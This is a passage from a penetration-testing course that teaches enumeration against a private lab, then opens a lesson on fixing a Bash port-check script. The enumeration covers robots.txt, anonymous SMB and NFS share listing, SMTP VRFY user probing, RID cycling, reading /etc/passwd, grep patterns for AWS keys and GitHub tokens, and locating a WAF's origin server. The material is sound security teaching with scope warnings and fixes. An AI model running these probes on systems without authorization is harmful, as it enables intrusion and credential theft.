Error: the server returns a status code that matches the provided options for non existing urls.
https://app.example.com/5f1c9e02 => 200 (Length: 1043). Please exclude the response length or the
status code or set the wildcard option.

Believing a hit list from such a server would give you thousands of paths that do not exist. Filter on the repeated response length with --exclude-length, then read what is left. Defenders notice wordlist scans easily: one client, hundreds of 404s a minute, in alphabetical order. On a client, the ROE may cap the rate, and --delay honors it. The fixes are to remove what should not be there, deny by default, put authentication on administrative paths and turn off directory listings.

A flow diagram in which a scheduler and queue feed URLs to a downloader that fetches pages from the web, stores text and metadata, and sends new URLs back to the queue.
How a web crawler works
Vector version by dnet based on image by User:ChaTo - CC BY-SA 3.0 - Wikimedia Commons

Manual enumeration: robots.txt, sitemaps and platform plugins

Before you run any list, read what the site publishes about itself. Manual enumeration takes a handful of ordinary requests, so it is cheap and nearly invisible. These three are the exam's named sources.

Robots.txt sits at the root of a site and tells crawlers which paths to skip. RFC 9309, which standardized it, says plainly that its rules are not a form of access authorization, and warns that listing a path makes it discoverable. Read the file in your lab:

curl -s 127.0.0.1:3000/robots.txt
curl -s 192.168.56.102/mutillidae/robots.txt

Juice Shop's source configures its reply as a single rule, and Mutillidae's project copy, trimmed here, names several directories (the older copy on your VM may differ slightly):

User-agent: *
Disallow: /ftp
User-agent: *
Disallow: data/
Disallow: passwords/
Disallow: config.inc
Disallow: classes/

Rapid7's guide lists Mutillidae's robots.txt as containing directories that are supposed to be private. Asking crawlers to avoid a folder called passwords is a signpost for everyone who is not a polite crawler. The rule proves nothing about whether the path is reachable, so you test that next, with a request for headers only, as Line 6 shows.

Sitemaps do the opposite job: an XML file, usually sitemap.xml and often named in robots.txt, lists the pages an owner wants search engines to find, up to 50,000 URLs per file. On your lab, expect curl -s -o /dev/null -w '%{http_code}\n' 192.168.56.102/sitemap.xml to print 404, and record that. On a real site it can look like this fictional sample, where the date tells you what changed last week:

<url><loc>https://www.example.com/careers/</loc><lastmod>2026-09-14</lastmod></url>
<url><loc>https://www.example.com/partners/portal-migration/</loc><lastmod>2026-10-30</lastmod></url>

Platform plugins are where versions leak. On WordPress, plugins live under wp-content/plugins, and WordPress's readme format includes a Stable tag line, so one file can name an exact version:

=== Acme Forms ===            (fictional plugin)
Requires at least: 6.2
Stable tag: 2.4.1

WPScan automates this; Lesson 18 returns to it. Its vulnerability data needs an API token from an account, with 25 free requests a day when this was checked. Your lab has the same pattern without WordPress: Nikto's published scan of the image found a bundled change log, so curl -s 192.168.56.102/phpMyAdmin/ChangeLog | head -5 should tell you which phpMyAdmin you face. The fix is to remove bundled readme and change log files from production, keep plugins patched and remove unused ones.

A short robots.txt file that bars one named crawler from the whole site and tells all others to stay out of a folder called /secret/.
A sample robots.txt file
Belbury - Public domain - Wikimedia Commons

Line 3: Server Message Block and Network File System shares

Mara ran smbclient from a jump box and read protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED (the status varies by version). She blamed the server. The fault was at her end. Server Message Block clients and servers agree on a version when they connect. Samba's documented default for its client is a floor of SMB2_02, and Metasploitable's Samba 3.0.20 speaks only the older SMB1 dialect, which Samba calls NT1. Her client refused to go that low, so the conversation ended before any share was mentioned.

Kali avoids this on purpose. Since Kali 2021.4 its Samba client ships in a Wide Compatibility mode that enables the legacy protocols, switchable in kali-tweaks to Strong Security. On any other client, or on a Kali you hardened, Samba's manual gives a per-command override: add --option='client min protocol=NT1'. Either way, a failure to negotiate tells you about two versions. It does not tell you about shares.

From stock Kali, share enumeration takes two commands. -L asks for the list and -N sends no password, a so-called null session:

smbclient -L //192.168.56.102 -N
enum4linux -S 192.168.56.102
Anonymous login successful
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk
        IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))

//192.168.56.102/print$   Mapping: DENIED  Listing: N/A  Writing: N/A
//192.168.56.102/tmp      Mapping: OK      Listing: OK   Writing: N/A
//192.168.56.102/opt      Mapping: DENIED  Listing: N/A  Writing: N/A

The top block comes from Rapid7's guide and the bottom from a published 2025 enum4linux run, both trimmed, with the address changed to yours. Sharename and Comment are the server's own words. Mapping means an anonymous connection succeeded, and Listing means the connection could read the directory. So you now know that anyone on this network can browse tmp without a login. Nmap's smb-enum-shares gives similar results and adds a useful point: even when listing is restricted, trying to connect to a share reveals whether it exists, so hiding the list does not hide the share.

enum4linux, written in Perl, is still in Kali at version 0.9.1; its Python rewrite, enum4linux-ng, is a separate install, and NetExec, the continuation of CrackMapExec, does this work at scale.

Unix shares use the Network File System (NFS). Your earlier scan showed rpcbind on 111 and NFS on 2049. Ask the portmapper what is registered, then ask for the export list:

rpcinfo -p 192.168.56.102
showmount -e 192.168.56.102

Export list for 192.168.56.102:
/ *

That last line is the most serious output in this lesson. The slash is the root of the file system and the star means any client. If showmount or rpcinfo is missing (they come from the nfs-common and rpcbind packages), sudo nmap --script nfs-showmount -p 111 192.168.56.102 reads the same list and is rated discovery and safe. Stop there. Reading the export list is enumeration; mounting it is the next step of an attack, and in this course the finding is the list.

Defenders can see anonymous logons, and on Windows, event 5140 records access to a network share when file share auditing is on. The fixes are specific. On Windows, turn on the policy that blocks anonymous enumeration of SAM accounts and shares. In Samba, set restrict anonymous = 2, disable SMB1 and require logins. For NFS, export only the directories that are needed, to named clients.

The Samba project's gray wordmark logo.
Samba, the SMB server on your lab target
Samba Team - Public domain - Wikimedia Commons

Line 4: local users and email accounts

Mara read RFC 5321 correctly. It says a site that disables VRFY must answer 252, and 252 means the server cannot verify the user. Then she stopped, and that was the mistake: one reply is not a test. Add a control, a name that cannot exist:

nc -nv 192.168.56.102 25
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
VRFY msfadmin
252 2.0.0 msfadmin
VRFY nosuchuser7
550 5.1.1 <nosuchuser7>: Recipient address rejected: User unknown in local recipient table
QUIT

The difference is the finding. Postfix's source code shows why: VRFY runs the same recipient check as real mail, returns the error if the check fails, and otherwise answers 252. Reply code 250 is reserved for certainty, which Postfix never claims. When an administrator sets disable_vrfy_command = yes, every name gets 502 5.5.1 VRFY command is disabled. Read the three replies together:

RepliesWhat they support
252 for a real name, 550 for a made-up nameValid accounts can be told apart: email account enumeration works here
252 for every nameThe server is not revealing anything through VRFY
502 for every nameVRFY is off; RCPT TO during a mail session may still differ, so check that too

The same flaw appears wherever an interface answers a real name differently from a fake one. OWASP's testing guide treats login pages this way, comparing error messages, response lengths, status codes and page titles. On a lab, smtp-user-enum or Nmap's smtp-enum-users automates the mail version. Postfix's documentation is candid about the limits of its switch, saying it stops some harvesting techniques. A burst of VRFY or RCPT commands for unknown names is what defenders watch for.

From outside the mail server, email addresses come from public sources, without touching the target. theHarvester collects them with hosts and names. Hunter.io's Domain Search returns an organization's address pattern and a confidence score for each address, as in this fictional sample:

"domain": "example.com",
"pattern": "{first}.{last}",
"emails": [ { "value": "jane.doe@example.com", "confidence": 92 } ]

Metadata adds names too. Photos carry EXIF (Exchangeable Image File Format) fields such as the camera's owner and GPS position. ExifTool reads those along with the author fields of office documents, which is the lab step you did in Lesson 6. Treat all of this as evidence about accounts, and keep it inside what the ROE allows for research on staff.

Local user enumeration means listing accounts on a host, and it has a remote and a local form. Remotely, Samba and older Windows configurations answer anonymous questions through two services. SAMR returns a full user list; LSA can translate numeric relative identifiers (RIDs) into names, so a tool walks through the numbers, a method called RID cycling that is extremely noisy. Run enum4linux -U 192.168.56.102 and expect lines like these from a published run:

index: 0x18 RID: 0xbb8 acb: 0x00000010 Account: msfadmin  Name: msfadmin,,,          Desc: (null)
index: 0x6  RID: 0xbba acb: 0x00000010 Account: user      Name: just a user,111,,    Desc: (null)
index: 0x8  RID: 0x3e8 acb: 0x00000011 Account: root      Name: root                 Desc: (null)

RID 0xbb8 is 3000 in decimal. Add -P and the same run reports the password policy, with a minimum length of 5 and an account lockout threshold of None. Keep that in mind: it decides how risky any password test would be. On Windows versions after 2000, Nmap's documentation says these calls need at least a guest-level account, so the fix is to restrict anonymous access and keep the Guest account disabled.

Locally, it is one command. On Metasploitable's console, cut -d: -f1,3,7 /etc/passwd prints each account's name, numeric ID and login shell. Rapid7's guide shows the file's first lines (root:x:0:0:root:/root:/bin/bash), and that file is world-readable by design. On Windows, the equivalents are net user and PowerShell's Get-LocalUser.

Simple Network Management Protocol (SNMP) can give users away as well. A device's Management Information Base (MIB) is the tree of values it publishes. On an old Windows host with a guessable community string, Nmap's snmp-win32-users script reads the account list straight out of it. Published scans do not show SNMP open on your target, so that one is for recognition only.

A diagram of mail moving from a sender's client through submission and transfer agents across the internet to a mail exchanger and delivery agent, then to the recipient.
Where a mail server sits
Ale2006-from-en - CC BY-SA 3.0 - Wikimedia Commons
A metadata table for a photo listing the camera maker and model, exposure settings, and the date and time it was taken.
EXIF fields on a photo
BuickCentury04 - Public domain - Wikimedia Commons

Line 5: permission enumeration, where N/A does not mean no

enum4linux printed Writing: N/A for tmp, and Mara wrote "not writable". Its help text explains the gap: write checks happen only in its aggressive mode. N/A means the tool did not try. Rapid7's guide describes tmp as a writable share, so her note was false. Testing write access changes something on the target, which on a client needs explicit permission in the ROE. In a report, the accurate entry is "listing confirmed; write access not tested".

Permission enumeration asks who can do what, and every system answers in its own vocabulary.

WhereHow you askWhat to read in the reply
SMB sharesenum4linux, Nmap's smb-enum-sharesMapping and Listing; Anonymous access and Current user access lines
NFS exportsshowmount -eWhich directories, for which clients; a star is everyone
Linux files and accountsid, ls -l, sudo -lGroups; mode bits such as -rw-r--r--; which commands sudo allows
Windows files and accountsicacls, whoami /priv, Get-SmbShareAccess control entries; privileges held; shares defined
Active DirectoryBloodHound (Lesson 10)Who holds rights over whom, drawn as a graph
CloudIAM policy listings (Lesson 19)Which identities can call which actions on which resources

On Metasploitable's console, run id and ls -l /etc/passwd /etc/shadow. The first shows every group your account belongs to; read that list slowly, because a group can carry more than its name suggests. The second shows why account names are public while password hashes are not. Defenders rarely see local commands like these unless endpoint monitoring records them, so the control that matters is least privilege, reviewed on a schedule.

A terminal where ls -l shows a file's permissions as -rw-r--r--, then chmod 664 changes them to -rw-rw-r--.
Linux mode bits before and after a change
VectorVoyager - CC BY-SA 4.0 - Wikimedia Commons

Line 6: secrets enumeration by shape and by place

Mara searched one page for one word. Secrets enumeration looks for four kinds of credential the exam names, and each has its own shape and favorite hiding places. A secret rarely announces itself as "password", and web pages are seldom where it lives.

SecretWhat it looks likeWhere it hidesWhy a hit matters
Cloud access keysAWS IDs begin AKIA (long-term) or ASIA (temporary), and work only with their secret half. AWS's documentation example is AKIAIOSFODNN7EXAMPLECredentials files, environment variables, build logs, code historyDirect access to whatever the key's permissions cover
PasswordsAssignments such as DB_PASSWORD= in a configuration fileConfiguration files, scripts, shared drives, shell historyPeople reuse them, and service account passwords often go unchanged for years
API keysLong random strings, often with a vendor prefix; GitHub classic tokens begin ghp_Front-end JavaScript, mobile apps, code repositoriesThey act as an application, often with no second factor
Session tokensCookie values such as PHPSESSID, or a JSON Web Token's three dot-separated partsURLs, proxy and web logs, saved browser captures, browser storageOWASP notes that a session ID temporarily equals the strongest login used to create it

A single word misses most of this. Here is a fictional deployment file with the secrets replaced by placeholders, and the two searches run against it:

DB_HOST=db1.example.com
DB_PASSWORD=[secret removed]
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=[secret removed]
MAP_API_KEY = "[key removed]"
GITHUB_TOKEN=ghp_[token removed]
TIMEOUT=30

grep -ni password deploy.env                    (1 hit)
grep -nEi 'AKIA[0-9A-Z]{16}|ghp_|(pass|secret|api_?key|token)[a-z_]*[[:space:]]*[=:]' deploy.env    (5 hits)

Tools such as TruffleHog (Lesson 11) go further: it classifies over 800 secret types and can report which ones it verified as live. That second feature deserves a pause. Checking a credential against its provider is using it, so it needs the same written permission as any other use.

In your lab, the robots.txt you read earlier pointed at config.inc, and Rapid7's guide says that file holds unencrypted database credentials. You can prove the exposure without putting a password into your notes, by asking for headers only:

curl -sI 192.168.56.102/mutillidae/config.inc
curl -sI 192.168.56.102/dvwa/login.php | grep -i set-cookie

A 200 status with a Content-Length on the first shows the file is served to anyone. The second shows how the session cookie is set: look for the Secure and HttpOnly attributes, and note whether they are missing.

That habit carries straight to client work: prove reachability, redact the value, record where and when you saw it, and escalate a live secret the same day, as Lesson 6 described. ATT&CK calls this family Unsecured Credentials (T1552, with T1552.001 for files).

Defenders can alert on reads of sensitive files, and cloud audit logs show any use of a key. The fixes are a secrets manager, short-lived credentials, secret scanning in the build pipeline, and rotation of anything exposed, because deleting it from the file does not undo the exposure.

Bottom line: a secret is evidence, and it stays evidence. Finding it is the test; using it is a separate act that needs its own written permission.

Line 7: web application firewall enumeration and the origin address

Nmap's http-waf-detect printed nothing, and on your lab that happens to be correct, since nothing filters Metasploitable's web server. Run it and see: sudo nmap --script http-waf-detect -p 80 192.168.56.102. The script sends a normal request, then requests holding malicious-looking strings, and compares the replies. Its own documentation warns that it cannot detect products that do not alter traffic. So silence means the replies did not change. It does not mean no filter exists, and on a client the difference matters.

A web application firewall (WAF) usually sits in front of a site as a reverse proxy, so its clues are in DNS and HTTP. You met the first in the fictional zone: www.example.com is a CNAME into a provider. Others are response headers such as Cloudflare's documented Cf-Ray, cookies set by the product, branded block pages, and a status that changes to 403 only when a request looks hostile:

HTTP/2 403
cf-ray: [ray id removed]
content-type: text/html

The purpose-built tool is wafw00f. It sends a normal request first and identifies the WAF from the reply if it can; failing that, it sends potentially malicious requests and reasons from how they are treated. That second stage means it needs ROE approval. It also needs a full URL and assumes HTTPS without a scheme, which your lab's plain web server does not speak, so NSE is the better fit here. Its report looks like this, on a fictional site:

[*] Checking https://www.example.com
[+] The site https://www.example.com is behind Cloudflare (Cloudflare Inc.) WAF.
[~] Number of requests: 2

[*] Checking https://portal.example.com
[+] Generic Detection results:
[-] No WAF detected by the generic detection
[~] Number of requests: 7

Testers enumerate WAFs for two reasons. A filter explains odd results, such as a scan full of 403s, that would otherwise be misread as real behavior. And it raises the exam's specific question: where is the origin address, the real server the WAF forwards to? A WAF protects only the traffic that passes through it. If the origin answers direct connections, requests can skip the product entirely. In 2015, Vissers and colleagues tested 17,877 sites behind cloud security providers and found that 71.5% exposed their origin through at least one of eight routes. Subdomains and historical DNS records each exposed more than 40%.

Where an origin leaksWhy it happensFix
Historical DNS recordsPassive DNS services remember the address from before the WAF was addedGet a new address when onboarding
Unprotected subdomainsftp. or dev. point straight at the same serverProxy them, or move them elsewhere
Other DNS recordsMX and SPF TXT records list the serverAudit DNS-only records; host mail separately
Temporary exposureThe service was paused for a while and DNS showed the real addressChange the address after any such exposure
TLS certificatesInternet-wide scans index the certificate on the origin's own addressFirewall the origin so scanners cannot fetch it
Sensitive files and page contentDebug pages or HTML include the addressRemove them
Outbound connectionsThe server connects out, for instance to verify a pingback, using its real addressTurn off features that fetch URLs on request

Read the fictional zone again. ftp.example.com and the SPF record both give 198.51.100.7, while www goes through the WAF. That address is a candidate. Record it, with the two records as evidence.

Sending it traffic to confirm the theory goes around a control the client paid for, and it may not even be in your scope, so ask first. This lesson stops at identification: recognizing the exposure, reporting it and knowing the fix.

The paper and Cloudflare's own guidance agree on the first fix: a firewall at the origin that accepts connections only from the WAF's published ranges, plus a new address after onboarding. Cloudflare adds authenticated origin pulls or a tunnel with no public address at all, and notes that an allowlist alone is not proof against spoofing.

A diagram of internet traffic reaching a proxy at example.com, which passes it to a web server on the internal network.
A proxy in front of a web server
H2g2bob - CC0 - Wikimedia Commons

The corrected notes, and attack path mapping

Here are Mara's notes again, rewritten from the evidence.

LineWhat she should have written
1 DNSBIND 9.4.2 answers on 53 with its version; recursion appears on; no client zone present, as checked on the console
2 WebFive linked apps; unlinked /phpinfo.php and /test/; Mutillidae's robots.txt names passwords/ and config.inc
3 SharesNull session lists five SMB shares and tmp is browsable; NFS exports / to any client
4 UsersVRFY separates real from fake names; anonymous SMB returns the account list; lockout threshold None
5 PermsWrite access to tmp not tested; / exported to *; rights of msfadmin recorded
6 Secretsconfig.inc returns 200 to anyone, value not retrieved; session cookie attributes recorded
7 WAFNo change between normal and hostile requests, so no WAF detected on port 80

That is no longer a list of closed doors. Attack path mapping connects enumeration results into possible routes from where you stand to what the client cares about, so that the next phase tests the links that matter instead of everything. Each result becomes a node, and each possible move between results an edge. Here is a fictional map for a fictional client, whose ROE names a payroll database as a high-value asset:

LinkEvidence so farStill unprovenWhat the ROE must say
Unauthenticated network position to the share list on a file serverNull session outputWhether files can be readWhether read-only browsing is allowed
Readable share to a configuration file naming a service accountFile name and key name, with the value redactedWhether the credential is liveWritten permission before any use
Service account to reporting access on the payroll databaseA permission listingWhether that path is reachable from the test networkA named test case, or stop and report

Every row is a question, and none of it has been done. That is what makes the map useful: the client can see why a low-severity share listing matters, and you can see where to ask for permission. In Active Directory, BloodHound builds this kind of graph automatically, using graph theory to reveal relationships nobody intended (Lesson 10). Lesson 14 turns a map like this into a prioritized plan.

Bottom line: a finding that looks minor alone can be one link in a route to something important. Map it before you rate it.

The whole family at a glance

TechniqueWeakness it relies onToolsWhat defenders seeFix
DNS enumeration (T1590.002)Unrestricted AXFR; public or stale namesdig, nslookup, dnsrecon, Amass, DNSdumpsterAXFR from a non-secondary; bursts of failed lookupsallow-transfer with TSIG; remove stale names
Directory enumeration (T1595.003)Unlinked content is still servedGobuster, dirbFloods of 404s from one clientRemove it; deny by default; authenticate admin paths
Web crawlingPages describe the application's structureZAP Spider, Burp SuiteFast, thorough browsingDo not link what should not be public; require login
Manual enumerationMetadata lists paths and versionscurl, a browser, WPScanA few ordinary requestsReal access control; remove bundled files; patch plugins
Share enumeration (T1135)Anonymous sessions; broad exportssmbclient, enum4linux, showmount, NSEAnonymous logons; event 5140 on WindowsRestrict anonymous; disable SMB1; export to named clients
Local user enumeration (T1087.001)SAMR, LSA or SNMP answer anonymously; /etc/passwd is readableenum4linux, NSE, net user, Get-LocalUserRID sequences; noisy LSA lookupsRestrict anonymous; disable or lock down SNMP
Email account enumeration (T1087.003, T1589.002)Public addresses; replies differ for real namestheHarvester, Hunter.io, VRFY, smtp-user-enumVRFY or RCPT bursts; nothing for OSINTDisable VRFY; identical replies; rate limits
Permission enumeration (T1069)Rights granted and never reviewedid, sudo -l, icacls, whoami /priv, BloodHoundLittle, unless endpoints log commandsLeast privilege, reviewed on a schedule
Secrets enumeration (T1552)Credentials stored in readable placesgrep, TruffleHog, a proxy for tokensFile reads; audit logs if a key is usedSecrets manager; short-lived keys; rotate anything exposed
WAF enumerationProducts show in DNS and HTTP; the origin answers directlywafw00f, http-waf-detect, http-waf-fingerprintBlocked probes in WAF logsFirewall the origin to WAF ranges; new address after onboarding

What the exam asks, and the pairs people confuse

The stem saysIt points toDo not confuse it with
One request to a name server returned every recordZone transfer (AXFR); fix with allow-transferReverse sweep: one PTR per address
Primary server, administrator mailbox, serial numberSOA recordNS, which only names the servers
One name is an alias of anotherCNAMEA, which gives an address
Find pages nothing links toDirectory enumeration with a wordlistWeb crawling, which follows links
Every word returned 200 with the same lengthSoft 404; filter on lengthA server full of real paths
Paths the site asks crawlers to skiprobots.txtSitemap, which lists pages it wants found
List shares without credentialsNull session, smbclient -L -N, enum4linuxrpcinfo -p, which lists RPC services
What does this Unix host share?showmount -eMounting, which is a further step
Is this name valid on the mail server?VRFY or RCPT replies compared with a controlHunter.io, which never touches the server
A key beginning AKIAAWS long-term access keyASIA, a temporary key
The real server behind a WAF or CDNOrigin addressThe provider's edge address that DNS returns
Linking results into a route to an important assetAttack path mapping; BloodHound in Active DirectoryVulnerability scanning, which finds flaws one at a time

How enumeration findings are reported

Most enumeration output is supporting evidence, and some of it is a finding in its own right. Here is the entry for the worst line in your lab, written as you would for a client.

  • Title: NFS export gives any host read access to the server's entire file system.
  • Severity: High. No credentials are needed and the export covers everything on the host, including configuration files and credential stores. It is not rated Critical because the attacker needs a position on the internal network, and write access was not tested under the ROE.
  • Evidence: showmount -e 192.168.56.102 on the stated date, from 192.168.56.101, returned / *. Export not mounted; no files read.
  • Root cause: the server's export configuration publishes the root directory to all clients, and no firewall limits ports 111 and 2049.
  • Remediation: remove the export of /; export only the directories needed, to named clients, with root squashing on; firewall the NFS ports to those clients; confirm that showmount -e no longer shows / or a star.

As starting judgments that the client's context can change: an unrestricted zone transfer is usually Medium, more if it reveals internal names. Anonymous user listing and SMTP user enumeration are Medium or Low, rising with no account lockout. A robots.txt entry is Informational until the listed path turns out to be reachable, when it takes the severity of what it exposes. An exposed origin takes its severity from what the WAF was protecting.

A live credential is reported through the escalation path the same day, whatever else happens. Lesson 14 explains how scoring systems formalize these judgments.

Keep unknowns visible too: "write access not tested" and "origin candidate not confirmed, per ROE" belong in the report's limitations.

Common misconceptions

  • "No output means nothing is there." A tool's silence can mean it asked the wrong server, lacked the word, could not negotiate a version or did not test. Check what was actually asked.
  • "robots.txt protects the paths it lists." It asks polite crawlers to stay away and advertises the paths to everyone else. RFC 9309 says it is not access authorization.
  • "A 252 reply to VRFY means the server cannot verify anyone." On Postfix, a name that fails the recipient check gets 550, so a 252 plus a 550 for a control name lists accounts.
  • "A WAF makes the application safe." It filters only traffic that passes through it. An origin that answers directly can be reached without it.
  • "Finding a credential entitles you to try it." Using it is a separate act that needs written permission, and that includes automatic verification by a scanner.

The takeaway

  • dig @server name type asks that server; without the @, dig asks your default resolver, so a timeout there says nothing about the target.
  • A zone transfer (AXFR) copies a whole zone between SOA records; BIND allowed it by default until 9.20, and the fix is allow-transfer limited to named secondaries.
  • A wordlist finds only what it lists, and a crawler only what is linked: Kali's common.txt, about 4,600 entries long, lacks dvwa and mutillidae, and the lab's home page does not link /phpinfo.php.
  • robots.txt lists paths crawlers should skip and is not access control; a sitemap lists pages the owner wants found; a plugin's readme can name its exact version.
  • A failed SMB negotiation can be the client's floor: Samba's default is SMB2_02, Metasploitable's 3.0.20 speaks NT1, and Kali enables legacy dialects by default since 2021.4.
  • showmount -e printing / * means the root of the file system is exported to any client; the finding is the list, and no mount is needed to report it.
  • On Postfix, VRFY answers 252 for names that pass the recipient check, 550 for unknown names and 502 when disabled, so always send a control name.
  • Secrets have shapes and habitats: AKIA and ASIA keys, ghp_ tokens, session cookies in logs and URLs. Prove reachability with headers, redact the value, and never use it without written permission.
  • No WAF signal is not proof of no WAF, and in a 2015 study 71.5% of 17,877 protected sites exposed their origin; the first fix is an origin firewall that accepts only the WAF's address ranges.

Sources

  1. Rapid7. (n.d.). Metasploitable 2 exploitability guide (used only for the services list, the rpcinfo, showmount and smbclient listings, and the file descriptions). docs.rapid7.com. Published lab records used only for expected output (secondary sources): Nmap service scan; Nmap UDP scan; Nikto scan; enum4linux run; SMTP banner and VRFY reply
  2. OWASP. (n.d.). Web security testing guide: Review webserver metafiles for information leakage; Attack surface identification; Testing for account enumeration and guessable user account. metafiles; attack surface; account enumeration
  3. Internet Systems Consortium. (n.d.). BIND 9 administrator reference manual: dig and nslookup manual pages; allow-transfer and version options; and Notes for BIND 9.20.0. manual pages; reference; issue 4728. Lewis, E., and Hoenes, A. (2010). DNS zone transfer protocol (AXFR) (RFC 5936); Hoffman, P., and Fujiwara, K. (2024). DNS terminology (RFC 9499); Abley, J., Gudmundsson, O., Majkowski, M., and Hunt, E. (2019). Providing minimal-sized responses to DNS queries that have QTYPE=ANY (RFC 8482). RFC 5936; RFC 9499; RFC 8482
  4. Samba Team. (n.d.). smb.conf(5) (client min protocol; restrict anonymous) and smbclient(1). smb.conf; smbclient. OffSec. (2025). Samba configuration; and Kali tool pages for enum4linux, gobuster and amass. kali.org (Samba); enum4linux; amass. Lyon, G. (n.d.). NSE documentation: smb-enum-shares; smb-enum-users; http-waf-detect; snmp-win32-users
  5. Klensin, J. (2008). Simple mail transfer protocol (RFC 5321), sections 3.5 and 7.3. rfc-editor.org. Venema, W. (n.d.). Postfix configuration parameters (disable_vrfy_command), and vrfy_cmd in the source file smtpd.c. postfix.org; smtpd.c
  6. Koster, M., Illyes, G., Zeller, H., and Sassman, L. (2022). Robots exclusion protocol (RFC 9309). rfc-editor.org. Sitemaps.org. (n.d.). Sitemaps XML format. sitemaps.org. Tool documentation: Gobuster; ZAP Spider; WPScan; Amass; theHarvester; Hunter; DNSdumpster
  7. Vissers, T., Van Goethem, T., Joosen, W., and Nikiforakis, N. (2015). Maneuvering around clouds: Bypassing cloud-based security providers. Proceedings of the 22nd ACM SIGSAC Conference on Computer and Communications Security, 1530-1541. securitee.org (PDF). Cloudflare. (n.d.). Protect your origin server and Cloudflare HTTP headers. origin; headers. Enable Security. (n.d.). WAFW00F. github.com
  8. Amazon Web Services. (n.d.). IAM identifiers (unique ID prefixes). docs.aws.amazon.com. GitHub. (n.d.). About authentication to GitHub (token formats). docs.github.com. OWASP. (n.d.). Session management cheat sheet. cheatsheetseries.owasp.org. MITRE. (n.d.). ATT&CK: T1552.001; T1135; T1087; T1595.003
Key terms
DNS zone transfer
An AXFR request that copies an entire DNS zone from an authoritative name server, meant for secondary servers and dangerous when anyone may ask.
Fully qualified domain name
A complete DNS name with every label up to the root, such as vpn.example.com., abbreviated FQDN.
Web crawler
A program that fetches a page, extracts its links, visits them and repeats, mapping what a site itself points to.
Robots.txt
A file at a site's root asking crawlers to skip listed paths; it is not access control and can reveal the paths it names.
Sitemaps
An XML format listing the pages a site owner wants search engines to find, often with last-modified dates.
Server Message Block
The file-sharing protocol used by Windows and Samba, whose clients and servers negotiate a dialect when they connect.
Network File System
The Unix file-sharing protocol, abbreviated NFS; showmount -e lists what a server exports and to which clients.
Web application firewall
A filter, abbreviated WAF, that sits in front of a web application and inspects HTTP traffic, usually as a reverse proxy.
Origin address
The real IP address of a server behind a WAF or CDN; if it answers direct connections, traffic can skip the filter.
Attack path mapping
Connecting enumeration results into possible routes from the tester's position to a high-value asset, marking the evidence and the unproven part of each link.

Making the Machine Do the Reading: Modifying Bash, Python, and PowerShell for Recon

  • Read a short Bash, Python or PowerShell script and predict what it does, including what it silently fails to do.
  • Modify scripts for information gathering and data manipulation using loops, conditionals, and Boolean, string and arithmetic operators.
  • Use libraries, functions and classes to scrape HTML, check scope, parse Nmap XML and write CSV.
  • Keep scripted reconnaissance inside the scope and report its results so that someone else can reproduce them.

Nine lines, one open port, and no output

Metasploitable's port 445 is open; you proved that in Lesson 7. So when a colleague's nine-line script, meant to list every host answering on 445, runs against your lab and prints nothing, the script is what's broken. Here it is, with a hosts.txt holding the single line 192.168.56.102.

#!/bin/bash
# smbcheck.sh: which hosts answer on port 445?
for host in $(cat hosts.txt)
do
    result=$(nc -z -w 1 $host 445)
    if [ "$result" == "open" ]; then
        echo "$host has SMB"
    fi
done

Take a minute before reading on. What goes in, what repeats, what decides, and what comes out? Which line would you change?

That is the skill this objective tests. Its verb is "modify", not "write", and the verb tells you what to expect: a scenario, a short script and a result that misses the goal, with your job being to find the line to change. So this lesson works through three broken or limited scripts, one each in Bash, Python and PowerShell, all against your own lab, and only then lines the constructs up in one table.

Exam objectives: 2.3 (modifying scripts for information gathering and data manipulation in Bash, Python and PowerShell; logic constructs, meaning loops, conditionals, and Boolean, string and arithmetic operators; use of libraries, functions and classes).

Before you run anything

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. A script changes nothing about that, except to make a mistake faster: one typo in a loop can touch 254 addresses before you look up. Every script here runs against 192.168.56.x or 127.0.0.1, and each one you keep gets a scope check, which you will add yourself.

Two habits come before any code. Read a script you inherit before you run it, because it runs with your rights. And keep the rate inside the ROE: a client may cap probes per second, and a loop has no idea.

Everything runs on Kali with the NAT adapter not attached. Bash and python3 are there, and Kali's default image includes PowerShell 7 as pwsh. That package is built for amd64 only, so on an Arm VM, read the PowerShell section and trace it by hand. Make a working folder with mkdir ~/lab9 && cd ~/lab9.

Reading Bash: loops and exit status

Apply the four questions. In: a file of addresses. Repeats: the for loop, which runs its body once for each word that $(cat hosts.txt) produces. Decides: the if. Out: one echo per hit. That shape is sound, so look at what the decision tests. It compares $result with the word open. Now run the connection by hand:

$ nc -z -w 1 192.168.56.102 445
$ echo $?
0
$ nc -z -w 1 192.168.56.102 8888
$ echo $?
1

The -z option is zero-I/O mode: connect, send nothing, close. -w 1 gives up after a second. Without a verbose flag, nc prints nothing, so $(...) captures an empty string and the comparison can never be true. The answer comes back another way, as the exit status, the number every program returns when it ends, which Bash keeps in $?. Bash's manual is explicit that zero indicates success and anything else failure. That is backward from most languages, where zero means false, and it makes sense once you see that a program has one way to succeed and many ways to fail.

Bash's if was built for this. It runs a command and branches on the exit status; the square brackets are just one such command. So the modification is one line, and the variable goes away:

#!/bin/bash
# smbcheck.sh: which hosts answer on port 445?
for host in $(cat hosts.txt)
do
    if nc -z -w 1 "$host" 445; then
        echo "$host has SMB"
    fi
done

Run it and you get 192.168.56.102 has SMB. The double quotes around "$host" stop a stray space or star in the variable from being split or expanded. You will also meet while read -r host loops, the tidier way to read a file line by line. They carry one trap: a program inside the loop, and some versions of nc are among them, can read the loop's input and swallow the rest of your list. If a script stops after the first host, add < /dev/null to that program.

The point: a script can be neatly structured and still test the wrong thing. Run each command once by hand and ask what it produces, both on its output and in its exit status.

A flowchart in which a condition is tested, the body runs when it is true and returns to the test, and the program leaves the loop when it is false.
How a loop repeats
P. Kemp - CC0 - Wikimedia Commons

Conditionals, Boolean and string operators: adding a scope check

The repaired script has two limits that matter on a real job. Its port is fixed, and it will connect to anything in the file. If a stray address slips into a client's list, you have just tested someone else's system. So take the inputs from the command line and refuse anything outside your scope. This is portcheck.sh:

#!/bin/bash
# portcheck.sh FILE PORT: which in-scope hosts in FILE answer on PORT?
file=$1
port=$2
